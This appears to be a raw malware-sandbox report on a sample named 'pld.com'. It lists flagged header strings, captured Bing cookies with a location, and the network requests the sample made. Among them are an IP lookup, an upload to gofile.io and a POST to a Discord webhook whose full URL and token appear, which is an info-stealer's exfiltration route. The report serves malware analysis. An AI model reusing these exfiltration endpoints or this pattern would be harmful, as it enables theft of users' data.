SRCHHPGUSR=SRCHLANG=en&IG=E747A5ECDA6441EE9477C64F0C4D2EF1&PREFCOL=0&BRW=M&BRH=S&CW=1272&CH=674&SCW=1257&SCH=2836&DPR=1.0&UTC=-480&B=0&EXLTT=1&AV=14&ADV=14&RB=0&MB=0&HV=1769954561&HVE=CfDJ8HAK7eZCYw5BifHFeUHnkJExtXhTjLeshJeP5VRTzS74UxGLX2ppAO67pdNwQy3UmUriJvEKEAor530NjXopprmROLwKNrK2XBjWuX9xa8hIWhBBvSQgjx3MoVtEb2w5zjzrbwUVOKktSXiknctJ6LPB1IUxTMt-uPdQaRqlOI60pGmA4LIwayvgYUrHpPyi9Q; SRCHUSR=DOB=20260201&DS=1" Contains base62 string in header "GVkOWYxNzc1ZDk2Njc5YWQ0N2YwNjhiYm" in header "GET /c.gif?Red3=EdgPID_pd&pid=791fa849-2d7d-4fb8-8d97-bae4966f4034 HTTP/1.1Host: c.bing.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: MUID=1AE4B047598664C21732A3D4580265CB; SRM_B=1AE4B047598664C21732A3D4580265CB; SRM_M=1AE4B047598664C21732A3D4580265CB; SRCHD=AF=ANAB01; SRCHUID=V=2&GUID=4C873940F8A64BA9B73B2DA4AB42AE12&dmnchg=1; USRLOC=HS=1&ELOC=LAT=40.73590850830078|LON=-74.00215148925781|N=Manhattan%2C%20New%20York|ELT=9|&BID=MjYwMjAxMDYwNDEwXzBkMmYwMGFiOTYwOGVkOWYxNzc1ZDk2Njc5YWQ0N2YwNjhiYmI4MTUxYmExYmNmNDFhOWRkZTk3N2RlNDMxNGQ=; _RwBf=r=0&ilt=1&ihpd=0&ispd=1&rc=5&rb=0&rg=200&pc=0&mtu=0&rbb=0&clo=0&v=1&l=2026-02-01T08:00:00.0000000Z&lft=0001-01-01T00:00:00.0000000&aof=0&ard=0001-01-01T00:00:00.0000000&rwdbt=0&rwflt=0&rwaul2=0&g=&o=2&p=&c=&t=0&s=0001-01-01T00:00:00.0000000+00:00&ts=2026-02-01T14:02:40.2863791+00:00&rwred=0&wls=&wlb=&wle=&ccp=&cpt=&lka=0&lkt=0&aad=0&TH=&cid=0&gb=; SRCHHPGUSR=SRCHLANG=en&IG=E747A5ECDA6441EE9477C64F0C4D2EF1&PREFCOL=0&BRW=M&BRH=S&CW=1272&CH=674&SCW=1257&SCH=2836&DPR=1.0&UTC=-480&B=0&EXLTT=1&AV=14&ADV=14&RB=0&MB=0&HV=1769954561&HVE=CfDJ8HAK7eZCYw5BifHFeUHnkJExtXhTjLeshJeP5VRTzS74UxGLX2ppAO67pdNwQy3UmUriJvEKEAor530NjXopprmROLwKNrK2XBjWuX9xa8hIWhBBvSQgjx3MoVtEb2w5zjzrbwUVOKktSXiknctJ6LPB1IUxTMt-uPdQaRqlOI60pGmA4LIwayvgYUrHpPyi9Q; SRCHUSR=DOB=20260201&DS=1" Contains base62 string in header "I4MTUxYmExYmNmNDFhOWRkZTk3N2RlNDM" in header "GET /c.gif?Red3=EdgPID_pd&pid=791fa849-2d7d-4fb8-8d97-bae4966f4034 HTTP/1.1Host: c.bing.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: MUID=1AE4B047598664C21732A3D4580265CB; SRM_B=1AE4B047598664C21732A3D4580265CB; SRM_M=1AE4B047598664C21732A3D4580265CB; SRCHD=AF=ANAB01; SRCHUID=V=2&GUID=4C873940F8A64BA9B73B2DA4AB42AE12&dmnchg=1; USRLOC=HS=1&ELOC=LAT=40.73590850830078|LON=-74.00215148925781|N=Manhattan%2C%20New%20York|ELT=9|&BID=MjYwMjAxMDYwNDEwXzBkMmYwMGFiOTYwOGVkOWYxNzc1ZDk2Njc5YWQ0N2YwNjhiYmI4MTUxYmExYmNmNDFhOWRkZTk3N2RlNDMxNGQ=; _RwBf=r=0&ilt=1&ihpd=0&ispd=1&rc=5&rb=0&rg=200&pc=0&mtu=0&rbb=0&clo=0&v=1&l=2026-02-01T08:00:00.0000000Z&lft=0001-01-01T00:00:00.0000000&aof=0&ard=0001-01-01T00:00:00.0000000&rwdbt=0&rwflt=0&rwaul2=0&g=&o=2&p=&c=&t=0&s=0001-01-01T00:00:00.0000000+00:00&ts=2026-02-01T14:02:40.2863791+00:00&rwred=0&wls=&wlb=&wle=&ccp=&cpt=&lka=0&lkt=0&aad=0&TH=&cid=0&gb=; SRCHHPGUSR=SRCHLANG=en&IG=E747A5ECDA6441EE9477C64F0C4D2EF1&PREFCOL=0&BRW=M&BRH=S&CW=1272&CH=674&SCW=1257&SCH=2836&DPR=1.0&UTC=-480&B=0&EXLTT=1&AV=14&ADV=14&RB=0&MB=0&HV=1769954561&HVE=CfDJ8HAK7eZCYw5BifHFeUHnkJExtXhTjLeshJeP5VRTzS74UxGLX2ppAO67pdNwQy3UmUriJvEKEAor530NjXopprmROLwKNrK2XBjWuX9xa8hIWhBBvSQgjx3MoVtEb2w5zjzrbwUVOKktSXiknctJ6LPB1IUxTMt-uPdQaRqlOI60pGmA4LIwayvgYUrHpPyi9Q; SRCHUSR=DOB=20260201&DS=1" Contains base62 string in header "CfDJ8HAK7eZCYw5BifHFeUHnkJExtXhTj" in header "GET /c.gif?Red3=EdgPID_pd&pid=791fa849-2d7d-4fb8-8d97-bae4966f4034 HTTP/1.1Host: c.bing.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: MUID=1AE4B047598664C21732A3D4580265CB; SRM_B=1AE4B047598664C21732A3D4580265CB; SRM_M=1AE4B047598664C21732A3D4580265CB; SRCHD=AF=ANAB01; SRCHUID=V=2&GUID=4C873940F8A64BA9B73B2DA4AB42AE12&dmnchg=1; USRLOC=HS=1&ELOC=LAT=40.73590850830078|LON=-74.00215148925781|N=Manhattan%2C%20New%20York|ELT=9|&BID=MjYwMjAxMDYwNDEwXzBkMmYwMGFiOTYwOGVkOWYxNzc1ZDk2Njc5YWQ0N2YwNjhiYmI4MTUxYmExYmNmNDFhOWRkZTk3N2RlNDMxNGQ=; _RwBf=r=0&ilt=1&ihpd=0&ispd=1&rc=5&rb=0&rg=200&pc=0&mtu=0&rbb=0&clo=0&v=1&l=2026-02-01T08:00:00.0000000Z&lft=0001-01-01T00:00:00.0000000&aof=0&ard=0001-01-01T00:00:00.0000000&rwdbt=0&rwflt=0&rwaul2=0&g=&o=2&p=&c=&t=0&s=0001-01-01T00:00:00.0000000+00:00&ts=2026-02-01T14:02:40.2863791+00:00&rwred=0&wls=&wlb=&wle=&ccp=&cpt=&lka=0&lkt=0&aad=0&TH=&cid=0&gb=; SRCHHPGUSR=SRCHLANG=en&IG=E747A5ECDA6441EE9477C64F0C4D2EF1&PREFCOL=0&BRW=M&BRH=S&CW=1272&CH=674&SCW=1257&SCH=2836&DPR=1.0&UTC=-480&B=0&EXLTT=1&AV=14&ADV=14&RB=0&MB=0&HV=1769954561&HVE=CfDJ8HAK7eZCYw5BifHFeUHnkJExtXhTjLeshJeP5VRTzS74UxGLX2ppAO67pdNwQy3UmUriJvEKEAor530NjXopprmROLwKNrK2XBjWuX9xa8hIWhBBvSQgjx3MoVtEb2w5zjzrbwUVOKktSXiknctJ6LPB1IUxTMt-uPdQaRqlOI60pGmA4LIwayvgYUrHpPyi9Q; SRCHUSR=DOB=20260201&DS=1" Contains base62 string in header "LeshJeP5VRTzS74UxGLX2ppAO67pdNwQy" in header "GET /c.gif?Red3=EdgPID_pd&pid=791fa849-2d7d-4fb8-8d97-bae4966f4034 HTTP/1.1Host: c.bing.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: MUID=1AE4B047598664C21732A3D4580265CB; SRM_B=1AE4B047598664C21732A3D4580265CB; SRM_M=1AE4B047598664C21732A3D4580265CB; SRCHD=AF=ANAB01; SRCHUID=V=2&GUID=4C873940F8A64BA9B73B2DA4AB42AE12&dmnchg=1; USRLOC=HS=1&ELOC=LAT=40.73590850830078|LON=-74.00215148925781|N=Manhattan%2C%20New%20York|ELT=9|&BID=MjYwMjAxMDYwNDEwXzBkMmYwMGFiOTYwOGVkOWYxNzc1ZDk2Njc5YWQ0N2YwNjhiYmI4MTUxYmExYmNmNDFhOWRkZTk3N2RlNDMxNGQ=; _RwBf=r=0&ilt=1&ihpd=0&ispd=1&rc=5&rb=0&rg=200&pc=0&mtu=0&rbb=0&clo=0&v=1&l=2026-02-01T08:00:00.0000000Z&lft=0001-01-01T00:00:00.0000000&aof=0&ard=0001-01-01T00:00:00.0000000&rwdbt=0&rwflt=0&rwaul2=0&g=&o=2&p=&c=&t=0&s=0001-01-01T00:00:00.0000000+00:00&ts=2026-02-01T14:02:40.2863791+00:00&rwred=0&wls=&wlb=&wle=&ccp=&cpt=&lka=0&lkt=0&aad=0&TH=&cid=0&gb=; SRCHHPGUSR=SRCHLANG=en&IG=E747A5ECDA6441EE9477C64F0C4D2EF1&PREFCOL=0&BRW=M&BRH=S&CW=1272&CH=674&SCW=1257&SCH=2836&DPR=1.0&UTC=-480&B=0&EXLTT=1&AV=14&ADV=14&RB=0&MB=0&HV=1769954561&HVE=CfDJ8HAK7eZCYw5BifHFeUHnkJExtXhTjLeshJeP5VRTzS74UxGLX2ppAO67pdNwQy3UmUriJvEKEAor530NjXopprmROLwKNrK2XBjWuX9xa8hIWhBBvSQgjx3MoVtEb2w5zjzrbwUVOKktSXiknctJ6LPB1IUxTMt-uPdQaRqlOI60pGmA4LIwayvgYUrHpPyi9Q; SRCHUSR=DOB=20260201&DS=1" Contains base62 string in header "3UmUriJvEKEAor530NjXopprmROLwKNrK" in header "GET /c.gif?Red3=EdgPID_pd&pid=791fa849-2d7d-4fb8-8d97-bae4966f4034 HTTP/1.1Host: c.bing.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: MUID=1AE4B047598664C21732A3D4580265CB; SRM_B=1AE4B047598664C21732A3D4580265CB; SRM_M=1AE4B047598664C21732A3D4580265CB; SRCHD=AF=ANAB01; SRCHUID=V=2&GUID=4C873940F8A64BA9B73B2DA4AB42AE12&dmnchg=1; USRLOC=HS=1&ELOC=LAT=40.73590850830078|LON=-74.00215148925781|N=Manhattan%2C%20New%20York|ELT=9|&BID=MjYwMjAxMDYwNDEwXzBkMmYwMGFiOTYwOGVkOWYxNzc1ZDk2Njc5YWQ0N2YwNjhiYmI4MTUxYmExYmNmNDFhOWRkZTk3N2RlNDMxNGQ=; _RwBf=r=0&ilt=1&ihpd=0&ispd=1&rc=5&rb=0&rg=200&pc=0&mtu=0&rbb=0&clo=0&v=1&l=2026-02-01T08:00:00.0000000Z&lft=0001-01-01T00:00:00.0000000&aof=0&ard=0001-01-01T00:00:00.0000000&rwdbt=0&rwflt=0&rwaul2=0&g=&o=2&p=&c=&t=0&s=0001-01-01T00:00:00.0000000+00:00&ts=2026-02-01T14:02:40.2863791+00:00&rwred=0&wls=&wlb=&wle=&ccp=&cpt=&lka=0&lkt=0&aad=0&TH=&cid=0&gb=; SRCHHPGUSR=SRCHLANG=en&IG=E747A5ECDA6441EE9477C64F0C4D2EF1&PREFCOL=0&BRW=M&BRH=S&CW=1272&CH=674&SCW=1257&SCH=2836&DPR=1.0&UTC=-480&B=0&EXLTT=1&AV=14&ADV=14&RB=0&MB=0&HV=1769954561&HVE=CfDJ8HAK7eZCYw5BifHFeUHnkJExtXhTjLeshJeP5VRTzS74UxGLX2ppAO67pdNwQy3UmUriJvEKEAor530NjXopprmROLwKNrK2XBjWuX9xa8hIWhBBvSQgjx3MoVtEb2w5zjzrbwUVOKktSXiknctJ6LPB1IUxTMt-uPdQaRqlOI60pGmA4LIwayvgYUrHpPyi9Q; SRCHUSR=DOB=20260201&DS=1" Contains base62 string in header "2XBjWuX9xa8hIWhBBvSQgjx3MoVtEb2w5" in header "GET /c.gif?Red3=EdgPID_pd&pid=791fa849-2d7d-4fb8-8d97-bae4966f4034 HTTP/1.1Host: c.bing.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: MUID=1AE4B047598664C21732A3D4580265CB; SRM_B=1AE4B047598664C21732A3D4580265CB; SRM_M=1AE4B047598664C21732A3D4580265CB; SRCHD=AF=ANAB01; SRCHUID=V=2&GUID=4C873940F8A64BA9B73B2DA4AB42AE12&dmnchg=1; USRLOC=HS=1&ELOC=LAT=40.73590850830078|LON=-74.00215148925781|N=Manhattan%2C%20New%20York|ELT=9|&BID=MjYwMjAxMDYwNDEwXzBkMmYwMGFiOTYwOGVkOWYxNzc1ZDk2Njc5YWQ0N2YwNjhiYmI4MTUxYmExYmNmNDFhOWRkZTk3N2RlNDMxNGQ=; _RwBf=r=0&ilt=1&ihpd=0&ispd=1&rc=5&rb=0&rg=200&pc=0&mtu=0&rbb=0&clo=0&v=1&l=2026-02-01T08:00:00.0000000Z&lft=0001-01-01T00:00:00.0000000&aof=0&ard=0001-01-01T00:00:00.0000000&rwdbt=0&rwflt=0&rwaul2=0&g=&o=2&p=&c=&t=0&s=0001-01-01T00:00:00.0000000+00:00&ts=2026-02-01T14:02:40.2863791+00:00&rwred=0&wls=&wlb=&wle=&ccp=&cpt=&lka=0&lkt=0&aad=0&TH=&cid=0&gb=; SRCHHPGUSR=SRCHLANG=en&IG=E747A5ECDA6441EE9477C64F0C4D2EF1&PREFCOL=0&BRW=M&BRH=S&CW=1272&CH=674&SCW=1257&SCH=2836&DPR=1.0&UTC=-480&B=0&EXLTT=1&AV=14&ADV=14&RB=0&MB=0&HV=1769954561&HVE=CfDJ8HAK7eZCYw5BifHFeUHnkJExtXhTjLeshJeP5VRTzS74UxGLX2ppAO67pdNwQy3UmUriJvEKEAor530NjXopprmROLwKNrK2XBjWuX9xa8hIWhBBvSQgjx3MoVtEb2w5zjzrbwUVOKktSXiknctJ6LPB1IUxTMt-uPdQaRqlOI60pGmA4LIwayvgYUrHpPyi9Q; SRCHUSR=DOB=20260201&DS=1" Contains base62 string in header "uPdQaRqlOI60pGmA4LIwayvgYUrHpPyi9" in header "GET /c.gif?Red3=EdgPID_pd&pid=791fa849-2d7d-4fb8-8d97-bae4966f4034 HTTP/1.1Host: c.bing.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: MUID=1AE4B047598664C21732A3D4580265CB; SRM_B=1AE4B047598664C21732A3D4580265CB; SRM_M=1AE4B047598664C21732A3D4580265CB; SRCHD=AF=ANAB01; SRCHUID=V=2&GUID=4C873940F8A64BA9B73B2DA4AB42AE12&dmnchg=1; USRLOC=HS=1&ELOC=LAT=40.73590850830078|LON=-74.00215148925781|N=Manhattan%2C%20New%20York|ELT=9|&BID=MjYwMjAxMDYwNDEwXzBkMmYwMGFiOTYwOGVkOWYxNzc1ZDk2Njc5YWQ0N2YwNjhiYmI4MTUxYmExYmNmNDFhOWRkZTk3N2RlNDMxNGQ=; _RwBf=r=0&ilt=1&ihpd=0&ispd=1&rc=5&rb=0&rg=200&pc=0&mtu=0&rbb=0&clo=0&v=1&l=2026-02-01T08:00:00.0000000Z&lft=0001-01-01T00:00:00.0000000&aof=0&ard=0001-01-01T00:00:00.0000000&rwdbt=0&rwflt=0&rwaul2=0&g=&o=2&p=&c=&t=0&s=0001-01-01T00:00:00.0000000+00:00&ts=2026-02-01T14:02:40.2863791+00:00&rwred=0&wls=&wlb=&wle=&ccp=&cpt=&lka=0&lkt=0&aad=0&TH=&cid=0&gb=; SRCHHPGUSR=SRCHLANG=en&IG=E747A5ECDA6441EE9477C64F0C4D2EF1&PREFCOL=0&BRW=M&BRH=S&CW=1272&CH=674&SCW=1257&SCH=2836&DPR=1.0&UTC=-480&B=0&EXLTT=1&AV=14&ADV=14&RB=0&MB=0&HV=1769954561&HVE=CfDJ8HAK7eZCYw5BifHFeUHnkJExtXhTjLeshJeP5VRTzS74UxGLX2ppAO67pdNwQy3UmUriJvEKEAor530NjXopprmROLwKNrK2XBjWuX9xa8hIWhBBvSQgjx3MoVtEb2w5zjzrbwUVOKktSXiknctJ6LPB1IUxTMt-uPdQaRqlOI60pGmA4LIwayvgYUrHpPyi9Q; SRCHUSR=DOB=20260201&DS=1" Contains base62 string in header "mTZEkQITXGguZHVtusKRK8rveRuw6AVR4" in header "POST /api/webhooks/1385210309710450771/cyTarqPOg1-Cx0fiKEWEABPMvmuTOae-mTZEkQITXGguZHVtusKRK8rveRuw6AVR4MdS?with_components=true HTTP/1.1Host: discord.comUser-Agent: python-requests/2.32.5Accept-Encoding: gzip, deflateAccept: */*Connection: keep-aliveContent-Length: 812Content-Type: application/json" Contains base62 string in header "v833ccba57c9e4d2798f2e76cebdd09a1" in header "GET /beacon.min.js/v833ccba57c9e4d2798f2e76cebdd09a11778172276447 HTTP/2Host: static.cloudflareinsights.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: corsReferer: https://pdfhost.io/Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Fetch-Site: cross-siteAccept-Language: en-US,en;q=0.9Origin: https://pdfhost.ioSec-Ch-Ua-Platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdAccept: */*Sec-Fetch-Dest: script" Contains base62 string in header "AcPRoer4aKzvumujugdaImkRO90DhvB1j" in header "GET /crx/blobs/AcPRoer4aKzvumujugdaImkRO90DhvB1jVZgnZQqHtOuS3CpNLYrK7J5tMTYvp_njyKFVYYoc3wd5iackYMogzXtBActnysgvTs0cM4JdDmi0ePXnnWj7xxeLXXe4BAM0WoAxlKa5bmSi3vwiVxq0nJ3VjtC1YYizVve/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_106_1_0.crx HTTP/2Host: clients2.googleusercontent.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Site: noneAccept-Language: en-US,en;q=0.9Sec-Mesh-Client-Arch: x86_64Sec-Mesh-Client-Os: WindowsPriority: u=4, iSec-Mesh-Client-Edge-Version: 145.0.3800.58Sec-Mesh-Client-Edge-Channel: stableAccept-Encoding: gzip, deflate, br, zstdSec-Mesh-Client-Os-Version: 10.0.22621Sec-Mesh-Client-Webview: 0Sec-Fetch-Dest: empty" Contains base62 string in header "VZgnZQqHtOuS3CpNLYrK7J5tMTYvp_njy" in header "GET /crx/blobs/AcPRoer4aKzvumujugdaImkRO90DhvB1jVZgnZQqHtOuS3CpNLYrK7J5tMTYvp_njyKFVYYoc3wd5iackYMogzXtBActnysgvTs0cM4JdDmi0ePXnnWj7xxeLXXe4BAM0WoAxlKa5bmSi3vwiVxq0nJ3VjtC1YYizVve/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_106_1_0.crx HTTP/2Host: clients2.googleusercontent.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Site: noneAccept-Language: en-US,en;q=0.9Sec-Mesh-Client-Arch: x86_64Sec-Mesh-Client-Os: WindowsPriority: u=4, iSec-Mesh-Client-Edge-Version: 145.0.3800.58Sec-Mesh-Client-Edge-Channel: stableAccept-Encoding: gzip, deflate, br, zstdSec-Mesh-Client-Os-Version: 10.0.22621Sec-Mesh-Client-Webview: 0Sec-Fetch-Dest: empty" Contains base62 string in header "KFVYYoc3wd5iackYMogzXtBActnysgvTs" in header "GET /crx/blobs/AcPRoer4aKzvumujugdaImkRO90DhvB1jVZgnZQqHtOuS3CpNLYrK7J5tMTYvp_njyKFVYYoc3wd5iackYMogzXtBActnysgvTs0cM4JdDmi0ePXnnWj7xxeLXXe4BAM0WoAxlKa5bmSi3vwiVxq0nJ3VjtC1YYizVve/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_106_1_0.crx HTTP/2Host: clients2.googleusercontent.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Site: noneAccept-Language: en-US,en;q=0.9Sec-Mesh-Client-Arch: x86_64Sec-Mesh-Client-Os: WindowsPriority: u=4, iSec-Mesh-Client-Edge-Version: 145.0.3800.58Sec-Mesh-Client-Edge-Channel: stableAccept-Encoding: gzip, deflate, br, zstdSec-Mesh-Client-Os-Version: 10.0.22621Sec-Mesh-Client-Webview: 0Sec-Fetch-Dest: empty" Contains base62 string in header "0cM4JdDmi0ePXnnWj7xxeLXXe4BAM0WoA" in header "GET /crx/blobs/AcPRoer4aKzvumujugdaImkRO90DhvB1jVZgnZQqHtOuS3CpNLYrK7J5tMTYvp_njyKFVYYoc3wd5iackYMogzXtBActnysgvTs0cM4JdDmi0ePXnnWj7xxeLXXe4BAM0WoAxlKa5bmSi3vwiVxq0nJ3VjtC1YYizVve/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_106_1_0.crx HTTP/2Host: clients2.googleusercontent.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Site: noneAccept-Language: en-US,en;q=0.9Sec-Mesh-Client-Arch: x86_64Sec-Mesh-Client-Os: WindowsPriority: u=4, iSec-Mesh-Client-Edge-Version: 145.0.3800.58Sec-Mesh-Client-Edge-Channel: stableAccept-Encoding: gzip, deflate, br, zstdSec-Mesh-Client-Os-Version: 10.0.22621Sec-Mesh-Client-Webview: 0Sec-Fetch-Dest: empty" Contains base62 string in header "xlKa5bmSi3vwiVxq0nJ3VjtC1YYizVve/" in header "GET /crx/blobs/AcPRoer4aKzvumujugdaImkRO90DhvB1jVZgnZQqHtOuS3CpNLYrK7J5tMTYvp_njyKFVYYoc3wd5iackYMogzXtBActnysgvTs0cM4JdDmi0ePXnnWj7xxeLXXe4BAM0WoAxlKa5bmSi3vwiVxq0nJ3VjtC1YYizVve/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_106_1_0.crx HTTP/2Host: clients2.googleusercontent.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Site: noneAccept-Language: en-US,en;q=0.9Sec-Mesh-Client-Arch: x86_64Sec-Mesh-Client-Os: WindowsPriority: u=4, iSec-Mesh-Client-Edge-Version: 145.0.3800.58Sec-Mesh-Client-Edge-Channel: stableAccept-Encoding: gzip, deflate, br, zstdSec-Mesh-Client-Os-Version: 10.0.22621Sec-Mesh-Client-Webview: 0Sec-Fetch-Dest: empty" Contains base62 string in header "GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_" in header "GET /crx/blobs/AcPRoer4aKzvumujugdaImkRO90DhvB1jVZgnZQqHtOuS3CpNLYrK7J5tMTYvp_njyKFVYYoc3wd5iackYMogzXtBActnysgvTs0cM4JdDmi0ePXnnWj7xxeLXXe4BAM0WoAxlKa5bmSi3vwiVxq0nJ3VjtC1YYizVve/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_106_1_0.crx HTTP/2Host: clients2.googleusercontent.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Site: noneAccept-Language: en-US,en;q=0.9Sec-Mesh-Client-Arch: x86_64Sec-Mesh-Client-Os: WindowsPriority: u=4, iSec-Mesh-Client-Edge-Version: 145.0.3800.58Sec-Mesh-Client-Edge-Channel: stableAccept-Encoding: gzip, deflate, br, zstdSec-Mesh-Client-Os-Version: 10.0.22621Sec-Mesh-Client-Webview: 0Sec-Fetch-Dest: empty"41:Tad8,Found HTTPS GET request to https://edge.microsoft.com/serviceexperimentation/v3/?osname=win&channel=stable&osver=10.0.22621&devicefamily=desktop&installdate=1684931888&clientversion=145.0.3800.58&experimentationmode=2&scpguard=0&scpfull=0&scpver=0 Found HTTPS GET request to https://edge.microsoft.com/autofillservice/core/page/3966583004933025529/4085296165918256868 Found HTTPS GET request to https://edge.microsoft.com/autofillservice/core/page/3966583004933025529/2274647976724947749 Found HTTPS GET request to https://edge.microsoft.com/entityextractiontemplates/api/v1/assets/find-assets?name=arbitration_priority_list&version=39.*.*&channel=stable&key=d414dd4f9db345fa8003e32adc81b362 Found HTTPS GET request to https://edge.microsoft.com/entityextractiontemplates/api/v1/assets/find-assets?name=edge_hub_apps_manifest_gz&version=4.11.*&channel=stable&key=d414dd4f9db345fa8003e32adc81b362 Found HTTPS GET request to https://edge.microsoft.com/entityextractiontemplates/api/v1/assets/find-assets?name=domains_config_gz&version=3.*.*&channel=stable&key=d414dd4f9db345fa8003e32adc81b362 Found HTTPS GET request to https://edge.microsoft.com/abusiveadblocking/api/v1/blocklist Found HTTPS POST request to https://edge.microsoft.com/extensionwebstorebase/v1/crx Found HTTPS GET request to https://c.bing.com/c.gif?Red3=EdgPID_pd&pid=791fa849-2d7d-4fb8-8d97-bae4966f4034 Found HTTPS GET request to https://www.google.com/ Found HTTPS GET request to https://ipwhois.app/json/ Found HTTPS POST request to https://upload.gofile.io/uploadFile Found HTTPS POST request to https://discord.com/api/webhooks/1385210309710450771/cyTarqPOg1-Cx0fiKEWEABPMvmuTOae-mTZEkQITXGguZHVtusKRK8rveRuw6AVR4MdS?with_components=true Found HTTPS GET request to https://static.cloudflareinsights.com/beacon.min.js/v833ccba57c9e4d2798f2e76cebdd09a11778172276447 Found HTTPS GET request to https://ep1.adtrafficquality.google/getconfig/sodar?sv=200&tid=gda&tv=r20260604&st=env&sjk=2257203405405487 Found HTTPS GET request to https://ep2.adtrafficquality.google/sodar/sodar2.js Found HTTPS GET request to https://ep2.adtrafficquality.google/sodar/sodar2/254/runner.html Found HTTPS GET request to https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/39.0.3/asset?assetgroup=ArbitrationService Found HTTPS POST request to https://www.googleapis.com/chromewebstore/v1.1/items/verify Found HTTPS GET request to https://edge-consumer-static.azureedge.net/mouse-gesture/config.json Found HTTPS GET request to https://clients2.googleusercontent.com/crx/blobs/AcPRoer4aKzvumujugdaImkRO90DhvB1jVZgnZQqHtOuS3CpNLYrK7J5tMTYvp_njyKFVYYoc3wd5iackYMogzXtBActnysgvTs0cM4JdDmi0ePXnnWj7xxeLXXe4BAM0WoAxlKa5bmSi3vwiVxq0nJ3VjtC1YYizVve/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_106_1_0.crx42:Ta94,"pld.com" called "FindFirstFileW" with parameter %TEMP%\_MEI74202\*.* (UID: 00000000-00001384) "pld.com" called "FindNextFileW" with parameter .. (UID: 00000000-00001384) "pld.com" called "FindNextFileW" with parameter api-ms-win-core-console-l1-1-0.dll (UID: 00000000-00001384) "pld.com" called "FindNextFileW" with parameter api-ms-win-core-datetime-l1-1-0.dll 